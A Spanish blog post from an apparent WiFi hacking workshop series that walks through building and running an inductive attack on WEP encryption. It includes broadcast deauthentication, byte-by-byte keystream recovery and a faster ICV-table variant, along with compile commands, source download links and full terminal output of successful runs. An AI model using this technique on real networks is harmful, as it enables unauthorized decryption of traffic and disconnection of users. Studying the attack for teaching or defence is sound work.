VULNERABILIDADES WEP. PARTE III. Práctica (I)

Posted by Star | Posted in | Posted on 22:57

Ataque Inductivo.

Vamos a realizar un programa que ejecute el ataque inductivo, las funciones que utiliza son:

* send_packet, read_packet y dump_packet que como ya es habitual sirven para enviar, leer y/o mostrar el contenido de las tramas.

Funcion main.

* Lee del teclado un BSSID sobre el que se realizará el ataque
* Llama a la función ataque_inductivo pasándole como parámetro ese BSSID. ataque_inductivo(mi_AP)

Función ataque_inductivo

Esta función lo primero que hace es capturar un paquete ARP Request de la red elegida (BSSID) en el caso de que tras leer 500 paquetes no se consiga un ARP, procede a una desautenticación al broadcast para capturar uno.

La desautenticación la realiza llamando a una funcion que es:

desautenticar_todos(macAP)

O sea, se llama a esa función entregando como parámetro la mac del Punto de Acceso, esta función como ya hemos dicho enviará tramas de desautenticación al broadcast. Esta función ya la usamos en ejercicios anteriores y por tanto no comentaremos nada nuevo de ella.

Una nueva comprobación ha sido añadida para avanzar mas en nuestro Taller. Consiste en averiguar si se trata de un paquete con cifrado WEP.

AVISO!!! No me refiero a si el bit wep está activado (que lo debe estar si la red está protegida) me refiero a que si se trata CONCRETAMENTE de cifrado WEP u otro.

Te recuerdo que el bit wep activo indica cifrado pero no EL TIPO de cifrado, una red WPA tiene el bit wep activado, una red WEP tiene el bit wep activado también.

Luego el mero hecho de que esté activado el bit wep no significa obligatoriamente que se trate de una red WEP.

Creo que os lo puse como ejercicio (haceeee muuuuuchos post de ello) y parece que nadie “se atrevió” a contestar o a intentarlo, bien, pues ya va siendo hora de resolverlo.

Podemos averiguar rápidamente si una red utiliza cifrado WEP analizando el IV (Vector de inicialización) un IV de WEP es así:


  Código:
3 bytes (24 bits) para el IV 1 byte  (8 bits) para el keyindex (número de llave que usa)


Te recuerdo que WEP puede usar diferentes números de llave para la misma clave WEP, incluso estas llaves pueden ser dinámicas con el objeto de proteger aún mas la red.

Entonces si analizamos el último byte del IV podemos saber si es un cifrado WEP o no, este byte no es otra cosa que el key index.

Para WEP, el keyindex, debe ser un valor inferior a 32, de hecho ya conocemos que sólo se usarán 0, 1, 2 ó 3.

Para WPA se usa 0x60, por tanto si podemos hacer una operación AND del keyindex para saber si es WEP o no.

Algo así:


  Código:
SI (h80211[cabmac+3] & 0x20)) es distinto a cero ) NO ES WEP En caso contrario   ES WEP Siendo cabmac la longitud de la cabecera y h80211 un array con el contenido completo del paquete/trama h80211


Recuerda que esta comprobación sólo es efectiva si se trata de una trama de DATOS!!! Puesto que si es de administración o control, esa posición no es el keyindex de la clave de cifrado.

Otras formas de averiguarlo, por ejemplo en un beacon o en un probe request o probe response, también se incluye como datos de los mismos el tipo de cifrado que se usa, pero la forma anterior es más sencilla de comprobarlo en esta ocasión.

El resto de comprobaciones que hace consiste en averiguar si se trata de un paquete ARP o no, y se analiza el tamaño, que tenga el bit wep activado, que sea un paquete de datos, que sea un paquete toDS y que el bssid de la trama capturada sea igual al bssid que le pasamos por teclado.

Observa que el paquete ha de ser toDS!!!

Sabes por qué, no????

Claro, si hemos desautenticado a las estaciones es lógico pensar que un ARP Request debe ser un paquete que una estación envía HACIA el sistema de distribución, por eso toDS.

Las otras condiciones son obvias y en cuanto al tamaño, recuerda lo explicado en el post de la teoría… 68 bytes para un ARP (o 70 si hay QoS)

Una vez que tenemos capturado un ARP REQ, ya podemos empezar, para ello se utilizan una serie de arrays que iran almacenando los datos necesarios, estos son:
    paquete_cifrado: Lógicamente se trata del paquete original h80211: Que se usará para enviar o recibir las tramas temporal: como su nombre indica es un almacén temporal y guardará los datos en texto plano conocidos y los que se vayan descifrando. OJO!!! Sólo los datos, sin cabeceras, sin IV’s y sin ICV’s. SOLO DATOS. crc32: pues será un array que almacena el icv resultante de temporal. F3: es un array temporal en el cual se va construyendo el paquete completo en plano, incluidos la cabecera MAC, IV, DATOS en PLANO e ICV key_stream: pues será donde iremos guardando el resultado de hacer XOR entre el paquete en plano y el paquete cifrado. Este array keystream comienza con el IV, es decir, los primeros 4 bytes realmente no es el keystream sino el IV. paq_plano: es otro array que almacena el texto plano, similar al array temporal del que hablamos antes.
Además contamos con otras variables y constantes necesarias para llevar el ataque:
    mi_ARP contiene los primeros 15 bytes bien conocidos de un paquete ARP (repasa la teoría si no lo ves claro) inicio, es la posición inicial del ataque, para nuestro caso será 15 final: es el último byte a descifrar, para nuestro ejemplo 36 de datos + 4 para el ICV original = 40 bytes a descifrar actual: que marcará el byte que está siendo analizado, al comienzo de todo el ataque actual=inicio y cuando termine deberá ser igual a final. Actual se irá incrementando en una unidad a medida que vamos descifrando nuevos bytes.
También utiliza dos funciones:

add_crc32 que calculará el ICV para un texto plano dado, de esta función no debemos preocuparnos puesto que ya está incluida en las cabeceras crypto.h y programa crypto.c, recuerda simplemente lo que hace, calcular el crc32 de algo, que en nuestro caso será algo como esto:


  Código:
add_crc32 (temporal, actual-3)


Esto calcula el crc32 (ICV) del contenido de temporal y se lo añade en la posición que diga actual – 3.

También conviene aclarar que al ICV se le aplica una máscara u otra dependiendo de si se trata de un ICV de texto plano o un ICV cifrado, de esto ya hablaremos cuando expliquemos el bit-flipping, por elk momento, ni te preocupes de ello.

Para seguir con el ejemplo de la parte de teoría, imagina que la posición de actual es 15, por tanto lo que hará esta función es calcular el ICV de los primeros 15 bytes y los coloca en la posición 12,13,14 y 15 (tal y como veíamos en la figura) n = actual

Imagen

Después se colocan la cabecera mac, el iv, se realizan las operaciones XOR necesarias, se coloca al ICV (sólo los 3 primeros bytes) y se entra en un ciclo de 256 repeticiones (una para cada posible valor de 0x00 a 0xFF)

Se van enviando estos paquetes con el “añadido” de ese último byte y se comprueban las respuestas.

La comprobación de las respuestas lo realiza un a nueva función llamada ver_envio_ap a la cual se le pasan como parámetros el bssid, el byte actual que está siendo descifrado y el valor del contador del ciclo (n).

La función ver_envio_ap, además, captura durante 150000 microsegundos (aprox. Un octavo de segundo) y “busca” en esas capturas si se produjo una respuesta válida al último paquete que enviamos, de tal forma que:
    Entregará como resultado 0 (cero) si no hubo respuesta Un valor distinto a cero si acertamos con el byte.
Ese valor de retorno (siempre que no sea cero) será el valor de actual+24+4+1) es decir,


  Código:
Para nuestro primer byte sería (el 15) Retorno= 15 + 24 + 4 + 1 = 44 bytes 15 por la posición actual 24 por la cabecera 80211 (o 26 si hay QoS) 4 por el IV 1 por el byte que estamos añadiendo


Si encontramos un paquete de ese tamaño y que cumpla las otras condiciones como que sea wep, que sea de datos, que el bssid sea el que escribimos por teclado Y QUE SEA fromDS!!!!!, podemos asegurar que es el nuestro.

Ojo!!! Importante lo de fromDS, está claro, si nosotros enviamos paquetes modificados con el bit toDS activado (HACIA), es de suponer que cuando alguno de ellos “sea el corecto” el punto de acceso responderá con el bit fromDS (DESDE) activado.

Todo esto lo realiza la función ver_envio_ap

Por último, si se recibió la respuesta se muestra por pantalla, se incrementa actual en una unidad y el contador de posibilidades (n) vuelve a cero.

Si no hubo respuesta, se incrementa al contador (n) en uno y se prueba de nuevo todo el proceso.

Si agotamos todas las posibilidades de n bytes (de 0 a 256) lo repetimos de nuevo desde la posición actual -1 (recuerda lo que se dijo en la parte de teoría acerca de los problemas de transmisión o de falsos positivos.

Si falla el envío desde la posición inicial (15) el ataque no tuvo éxito y deberíamos repetir todo desde el inicio.

En fin, esta es la secuencia del ataque, en esta ocasión y dado que el código fuente es un poquito mas largo que de costumbre, he preferido explicarlo en lugar de postearlo sin mas.

Este es un diagrama básico de lo cómo funciona en bloques el ataque inductivo que implementa este programa:

Imagen

De todas formas en el código fuente del ejercicio dispones de numerosísimos comentarios que van (prácticamente línea por línea) aclarando qué se hace, para qué y cómo.

Lo puedes descargar en: http://www.megaupload.com/?d=VPG05ZR6

Lo guardas en el directorio de las fuentes de aircrack con el nombre arpdecode4.c (si… hubo versiones arpdecode 1, 2 y 3 antes de conseguir que funcionase fino)

y lo compilas:


  Código:
gcc -g -W -Wall -Werror -O3 -D_FILE_OFFSET_BITS=64 -D_REVISION=0  -Iinclude   -c -o arpdecode4.o arpdecode4.c gcc -g -W -Wall -Werror -O3 -D_FILE_OFFSET_BITS=64 -D_REVISION=0  -Iinclude arpdecode4.o common.o crypto.o -o arpdecode4 -Losdep -losdep   -lssl -lcrypto
Podemos verlo en acción:
 Taller_WiFi src # ./arpdecode4 eth1

Escribe la MAC del bssid o Punto de Acceso -----> 00:16:B6:41:03:5D

Leyendo paquete número 499 on destino a --------> 00:16:B6:41:03:5D:

ATENCION!!! Parece que no se capturan ARP_REQ
*********** Probando desautenticación al broadcast

Desautenticación
****************
C0 00 3C 02  FF FF FF FF  FF FF 00 16  B6 41 03 5D
00 16 B6 41  03 5D 00 00  04 00

Enviando Desautenticación número 8

<---- Encontrado paquete ---->
<---- Esperando 3 Segundos--->
Paquete CIFRADO ORIGINAL (solo los datos + ICV)
***********************************************

80 E3 C3 5A  5F 12 30 50  D4 01 D5 65  3E 3D 6F E1
09 EA 6F 7F  50 D3 B1 79  55 53 EF EE  03 64 98 7E
CC F9 9F EF  53 07 FC AF

-> Byte num. 1  Candidato n/a   keystream 2A    byte cifrado: 80   byte decode AA <--- DATOS conocidos --> CABECERA SNAP
-> Byte num. 2  Candidato n/a   keystream 49    byte cifrado: E3   byte decode AA <--- DATOS conocidos --> CABECERA SNAP
-> Byte num. 3  Candidato n/a   keystream C0    byte cifrado: C3   byte decode 03 <--- DATOS conocidos --> CABECERA SNAP
-> Byte num. 4  Candidato n/a   keystream 5A    byte cifrado: 5A   byte decode 00 <--- DATOS conocidos --> CABECERA SNAP
-> Byte num. 5  Candidato n/a   keystream 5F    byte cifrado: 5F   byte decode 00 <--- DATOS conocidos --> CABECERA SNAP
-> Byte num. 6  Candidato n/a   keystream 12    byte cifrado: 12   byte decode 00 <--- DATOS conocidos --> CABECERA SNAP
-> Byte num. 7  Candidato n/a   keystream 38    byte cifrado: 30   byte decode 08 <--- DATOS conocidos --> Protocolo ARP
-> Byte num. 8  Candidato n/a   keystream 56    byte cifrado: 50   byte decode 06 <--- DATOS conocidos --> Protocolo ARP
-> Byte num. 9  Candidato n/a   keystream D4    byte cifrado: D4   byte decode 00 <--- DATOS conocidos --> Hardware Ethernet
-> Byte num. 10 Candidato n/a   keystream 00    byte cifrado: 01   byte decode 01 <--- DATOS conocidos --> Hardware Ethernet
-> Byte num. 11 Candidato n/a   keystream DD    byte cifrado: D5   byte decode 08 <--- DATOS conocidos --> Protocolo IP
-> Byte num. 12 Candidato n/a   keystream 65    byte cifrado: 65   byte decode 00 <--- DATOS conocidos --> Protocolo IP
-> Byte num. 13 Candidato n/a   keystream 38    byte cifrado: 3E   byte decode 06 <--- DATOS conocidos --> Longitud MAC
-> Byte num. 14 Candidato n/a   keystream 39    byte cifrado: 3D   byte decode 04 <--- DATOS conocidos --> Versión IP
-> Byte num. 15 Candidato n/a   keystream 6F    byte cifrado: 6F   byte decode 00 <--- DATOS conocidos --> ARP (REQ ó RESP)
-> Byte num. 16 Candidato 5B    keystream E0    byte cifrado: E1   byte decode 01 <--- ARP REQUEST
-> Byte num. 17 Candidato 9E    keystream 09    byte cifrado: 09   byte decode 00 <--- MAC ORIGEN
-> Byte num. 18 Candidato F7    keystream FD    byte cifrado: EA   byte decode 17 <--- MAC ORIGEN
-> Byte num. 19 Candidato 44    keystream F5    byte cifrado: 6F   byte decode 9A <--- MAC ORIGEN
-> Byte num. 20 Candidato 4D    keystream BC    byte cifrado: 7F   byte decode C3 <--- MAC ORIGEN
-> Byte num. 21 Candidato 16    keystream 86    byte cifrado: 50   byte decode D6 <--- MAC ORIGEN
-> Byte num. 22 Candidato E8    keystream 6A    byte cifrado: D3   byte decode B9 <--- MAC ORIGEN
-> Byte num. 23 Candidato A6    keystream BB    byte cifrado: B1   byte decode 0A <--- IP  ORIGEN (decimal 10)
-> Byte num. 24 Candidato AF    keystream 73    byte cifrado: 79   byte decode 0A <--- IP  ORIGEN (decimal 10)
-> Byte num. 25 Candidato 67    keystream 5F    byte cifrado: 55   byte decode 0A <--- IP  ORIGEN (decimal 10)
-> Byte num. 26 Candidato 22    keystream 9B    byte cifrado: 53   byte decode C8 <--- IP  ORIGEN (decimal 200)
-> Byte num. 27 Candidato B0    keystream EF    byte cifrado: EF   byte decode 00 <--- MAC DESTINO
-> Byte num. 28 Candidato 39    keystream EE    byte cifrado: EE   byte decode 00 <--- MAC DESTINO
-> Byte num. 29 Candidato 74    keystream 03    byte cifrado: 03   byte decode 00 <--- MAC DESTINO
-> Byte num. 30 Candidato FD    keystream 64    byte cifrado: 64   byte decode 00 <--- MAC DESTINO
-> Byte num. 31 Candidato AF    keystream 98    byte cifrado: 98   byte decode 00 <--- MAC DESTINO
Candidato decode FF Byte actual 32 de 40
Vuelta atrás. Falló el último. Reintentando de nuevo a partir de la posición 30

-> Byte num. 31 Candidato AF    keystream 98    byte cifrado: 98   byte decode 00 <--- MAC DESTINO
-> Byte num. 32 Candidato E6    keystream 7E    byte cifrado: 7E   byte decode 00 <--- MAC DESTINO
-> Byte num. 33 Candidato BD    keystream C6    byte cifrado: CC   byte decode 0A <--- IP  DESTINO (decimal 10)
-> Byte num. 34 Candidato 47    keystream F3    byte cifrado: F9   byte decode 0A <--- IP  DESTINO (decimal 10)
-> Byte num. 35 Candidato EE    keystream 95    byte cifrado: 9F   byte decode 0A <--- IP  DESTINO (decimal 10)
-> Byte num. 36 Candidato FA    keystream 1A    byte cifrado: EF   byte decode F5 <--- IP  DESTINO (decimal 245)
-> Byte num. 37 Candidato C0    keystream 99    byte cifrado: 53   byte decode CA <--- ICV CRC32
-> Byte num. 38 Candidato 66    keystream 13    byte cifrado: 07   byte decode 14 <--- ICV CRC32
-> Byte num. 39 Candidato 9A    keystream 55    byte cifrado: FC   byte decode A9 <--- ICV CRC32
-> Byte num. 40 Candidato AF    keystream E9    byte cifrado: AF   byte decode 46 <--- ICV CRC32

Tipo ARP:    REQUEST
MAC ORIGEN:  00 17 9A C3 D6 B9
IP ORIGEN:   10.10.10.200.
MAC DESTINO: 00 00 00 00 00 00
IP DESTINO:  10.10.10.245.
Parámetros WEP
**************
         IV completo: 6C 6B 00 00
         Num de KEY usada: 00

keystream;
6C 6B 00 00  2A 49 C0 5A  5F 12 38 56  D4 00 DD 65
38 39 6F E0  09 FD F5 BC  86 6A BB 73  5F 9B EF EE
03 64 98 7E  C6 F3 95 1A  99 13 55 E9

Listo!!!


Duración total del ataque: 13 minutos 44 segundos

Taller_WiFi src #
 
El ataque “es lento” como puedes ver al finalizar el ataque se muestra la duración del mismo. (13 minutos 44 segundos) una pasada, vamos... y eso para unos pocos bytes...

Recuerda cómo funcionabe el programa:
    Tenemos 40 bytes a “descubrir”, bueno, realmente 40 – 15 = 25 Puesto que los 15 primeros ya son “bien conocidos” Y por cada uno de esos 25 bytes a descifrar, el programa puede llegar a enviar hasta 256 combinaciones posibles. Entre envío y envío la función ver_envio_ap se toma 150.000 ms para husmear el medio y comprobar si hubo respuesta del último paquete enviado, por tanto en el peor de los casos, que sería descubrir el byte “bueno” como última combinación (256), el tiempo máximo del ataque es:
      (25 bytes a descubrir x 256 combinaciones x 150.000 ms) / 1.000.000 = 960 segundos en total, 16 minutos máximo. Un millón de ms (1.000.000) es un segundo
    Claro, eso en las peores condiciones, que sería agotar por cada byte sus 256 posibilidades, como eso no ocurrirá, digamos que de 8 a 10 minutos es “lo normal”
Sin embargo, podría haberse perpetuado el ataque en menos de 25 segundos!!!!!

Ehhh????

Pues sí, si hubiésemos estado un poco mas espabilados, podríamos haber creado una tabla con los 256 ICV’s posibles de cada candidato a enviar, de tal forma que al tenerlos ya “calculados” podemos enviar continuamente ráfagas de 256 posibles combinaciones (el envío de 256 paquetes no llega a un segundo).

De este modo no es necesario esperar un tiempo (150.000 ms) para ver si hay respuesta,

Sencillamente envío, leo, envio, leo, envio, leo y así hasta encontrar una coincidencia, cuando ocurra, consultamos la tabla de ICV’s generada y a por otro... esto es muchísimo más rápido, puesto que en menos de un segundo leeremos la respuesta del punto de acceso, como son 25 los bytes a descifrar, pues eso… en menos de 25 segundos lo tenemos.

El "problema" de usar este otro método, es que los envíos son más rápidos que las respuestas, por tanto, eso de envío-leo, envío-leo no es del todo así... la respuesta no será acorde al úlrimo paquete enviado... igual es 112 paquetes mas atrás... por eso es necesaria una tabla, para que cuando llegue la respuesta sepamos qué paquete la provocó.

Aun así, preferí hacerlo del modo que se ha resuelto, parece como mas claro: envío, capturo durante un tiempo para ver si hay respuesta, envio capturo durante un tiempo, etc…

Cuando veamos cómo funciona el ataque chophop y lo llevemos a la práctica, sí que usaremos esto de la tabla de ICV’s, porque si el paquete a descifrar es (por ejemplo de 386 bytes) si usamos la misma técnica que la del ataque inductivo, nos pasamos 2 horas de media para llevarlo a cabo, y eso es ya muuucho tiempo mirando una pantalla.

Bueno, venga, vale... te pongo un link de descarga de “la versión rápida”, se llama arpdecode5.c

http://www.megaupload.com/?d=LU210GBT

Lo guardas en el directorio de las fuentes de aircrack y lo compilas:


  Código:
gcc -g -W -Wall -Werror -O3 -D_FILE_OFFSET_BITS=64 -D_REVISION=0  -Iinclude   -c -o arpdecode5.o arpdecode5.c gcc -g -W -Wall -Werror -O3 -D_FILE_OFFSET_BITS=64 -D_REVISION=0  -Iinclude arpdecode5.o common.o crypto.o -o arpdecode5 -Losdep -losdep   -lssl -lcrypto


Ahora, vamos a ejecutarlo:
Taller_WiFi src # ./arpdecode5 eth1

Escribe la MAC del bssid o Punto de Acceso -----> 00:16:B6:41:03:5D

**** Esperando un ARP REQ con destino a --------> 00:16:B6:41:03:5D:
Desautenticación
****************
C0 00 3C 02  FF FF FF FF  FF FF 00 16  B6 41 03 5D
00 16 B6 41  03 5D 00 00  04 00

Enviando Desautenticación número 8

<---- Encontrado paquete ---->
<---- Esperando 3 Segundos--->

Paquete CIFRADO ORIGINAL (solo los datos + ICV)
***********************************************

4B 33 B8 7C  1F E4 E0 7B  54 0F EF 35  F8 58 65 A7
1F CF 1C 37  1A 25 47 4E  C5 EB 1B A0  FB 1E 9B 2F
93 26 FF AC  7A FB 21 0F

-> Byte num. 1  Candidato n/a   keystream E1    byte cifrado: 4B   byte decode AA <--- DATOS conocidos --> CABECERA SNAP
-> Byte num. 2  Candidato n/a   keystream 99    byte cifrado: 33   byte decode AA <--- DATOS conocidos --> CABECERA SNAP
-> Byte num. 3  Candidato n/a   keystream BB    byte cifrado: B8   byte decode 03 <--- DATOS conocidos --> CABECERA SNAP
-> Byte num. 4  Candidato n/a   keystream 7C    byte cifrado: 7C   byte decode 00 <--- DATOS conocidos --> CABECERA SNAP
-> Byte num. 5  Candidato n/a   keystream 1F    byte cifrado: 1F   byte decode 00 <--- DATOS conocidos --> CABECERA SNAP
-> Byte num. 6  Candidato n/a   keystream E4    byte cifrado: E4   byte decode 00 <--- DATOS conocidos --> CABECERA SNAP
-> Byte num. 7  Candidato n/a   keystream E8    byte cifrado: E0   byte decode 08 <--- DATOS conocidos --> Protocolo ARP
-> Byte num. 8  Candidato n/a   keystream 7D    byte cifrado: 7B   byte decode 06 <--- DATOS conocidos --> Protocolo ARP
-> Byte num. 9  Candidato n/a   keystream 54    byte cifrado: 54   byte decode 00 <--- DATOS conocidos --> Hardware Ethernet
-> Byte num. 10 Candidato n/a   keystream 0E    byte cifrado: 0F   byte decode 01 <--- DATOS conocidos --> Hardware Ethernet
-> Byte num. 11 Candidato n/a   keystream E7    byte cifrado: EF   byte decode 08 <--- DATOS conocidos --> Protocolo IP
-> Byte num. 12 Candidato n/a   keystream 35    byte cifrado: 35   byte decode 00 <--- DATOS conocidos --> Protocolo IP
-> Byte num. 13 Candidato n/a   keystream FE    byte cifrado: F8   byte decode 06 <--- DATOS conocidos --> Longitud MAC
-> Byte num. 14 Candidato n/a   keystream 5C    byte cifrado: 58   byte decode 04 <--- DATOS conocidos --> Versión IP
-> Byte num. 15 Candidato n/a   keystream 65    byte cifrado: 65   byte decode 00 <--- DATOS conocidos --> ARP (REQ ó RESP)
-> Byte num. 16 Candidato BF    keystream A6    byte cifrado: A7   byte decode 01 <--- ARP REQUEST
-> Byte num. 17 Candidato 3E    keystream 1F    byte cifrado: 1F   byte decode 00 <--- MAC ORIGEN
-> Byte num. 18 Candidato 27    keystream D8    byte cifrado: CF   byte decode 17 <--- MAC ORIGEN
-> Byte num. 19 Candidato 67    keystream 86    byte cifrado: 1C   byte decode 9A <--- MAC ORIGEN
-> Byte num. 20 Candidato 66    keystream F4    byte cifrado: 37   byte decode C3 <--- MAC ORIGEN
-> Byte num. 21 Candidato C4    keystream CC    byte cifrado: 1A   byte decode D6 <--- MAC ORIGEN
-> Byte num. 22 Candidato 6E    keystream 9C    byte cifrado: 25   byte decode B9 <--- MAC ORIGEN
-> Byte num. 23 Candidato 67    keystream 4D    byte cifrado: 47   byte decode 0A <--- IP  ORIGEN (decimal 10)
-> Byte num. 24 Candidato F3    keystream 44    byte cifrado: 4E   byte decode 0A <--- IP  ORIGEN (decimal 10)
-> Byte num. 25 Candidato 3D    keystream CF    byte cifrado: C5   byte decode 0A <--- IP  ORIGEN (decimal 10)
-> Byte num. 26 Candidato B2    keystream 23    byte cifrado: EB   byte decode C8 <--- IP  ORIGEN (decimal 200)
-> Byte num. 27 Candidato 5E    keystream 1B    byte cifrado: 1B   byte decode 00 <--- MAC DESTINO
-> Byte num. 28 Candidato C5    keystream A0    byte cifrado: A0   byte decode 00 <--- MAC DESTINO
-> Byte num. 29 Candidato DC    keystream FB    byte cifrado: FB   byte decode 00 <--- MAC DESTINO
-> Byte num. 30 Candidato DD    keystream 1E    byte cifrado: 1E   byte decode 00 <--- MAC DESTINO
-> Byte num. 31 Candidato CB    keystream 9B    byte cifrado: 9B   byte decode 00 <--- MAC DESTINO
-> Byte num. 32 Candidato DB    keystream 2F    byte cifrado: 2F   byte decode 00 <--- MAC DESTINO
-> Byte num. 33 Candidato 17    keystream 99    byte cifrado: 93   byte decode 0A <--- IP  DESTINO (decimal 10)
-> Byte num. 34 Candidato BD    keystream 2C    byte cifrado: 26   byte decode 0A <--- IP  DESTINO (decimal 10)
-> Byte num. 35 Candidato CB    keystream F5    byte cifrado: FF   byte decode 0A <--- IP  DESTINO (decimal 10)
-> Byte num. 36 Candidato 9D    keystream 65    byte cifrado: AC   byte decode C9 <--- IP  DESTINO (decimal 201)
-> Byte num. 37 Candidato B0    keystream 37    byte cifrado: 7A   byte decode 4D <--- ICV CRC32
-> Byte num. 38 Candidato 02    keystream 93    byte cifrado: FB   byte decode 68 <--- ICV CRC32
-> Byte num. 39 Candidato 4C    keystream E7    byte cifrado: 21   byte decode C6 <--- ICV CRC32
-> Byte num. 40 Candidato 4E    keystream 66    byte cifrado: 0F   byte decode 69 <--- ICV CRC32

Tipo ARP:    REQUEST
MAC ORIGEN:  00 17 9A C3 D6 B9
IP ORIGEN:   10.10.10.200.
MAC DESTINO: 00 00 00 00 00 00
IP DESTINO:  10.10.10.201.
Parámetros WEP
**************
         IV completo: F3 6F 00 00
         Num de KEY usada: 00

keystream;
F3 6F 00 00  E1 99 BB 7C  1F E4 E8 7D  54 0E E7 35
FE 5C 65 A6  1F D8 86 F4  CC 9C 4D 44  CF 23 1B A0
FB 1E 9B 2F  99 2C F5 65  37 93 E7 66

Duración del ataque: 20 segundos

Taller_WiFi src #
Taller_WiFi src #

Como ves, 20 segundos!!!! que frente a los 13 minutos del anterior... pues como mejor programado :D

En el código fuente del mismo tienes todos los comentarios necesarios para comprender cómo funciona y por qué es tan rápido.

Que lo disfrutes.

No vamos a menospreciar al “lento”, nos vendrá muy bien cuando nos toque WPA y queramos hacer algo similar, con WPA la cosa cambia porque los IV’s no se pueden/deben reutilizar, se controla la integridad del mensaje y el punto de acceso puede tomar “contramedidas” y obligar a todos los clientes a renegociar las llaves por lo que el ataque no puede continuar, todo llegará.

Ahora, un detector, para el siguiente post.


By Vic_Thor

Comments (0)

Publicar un comentario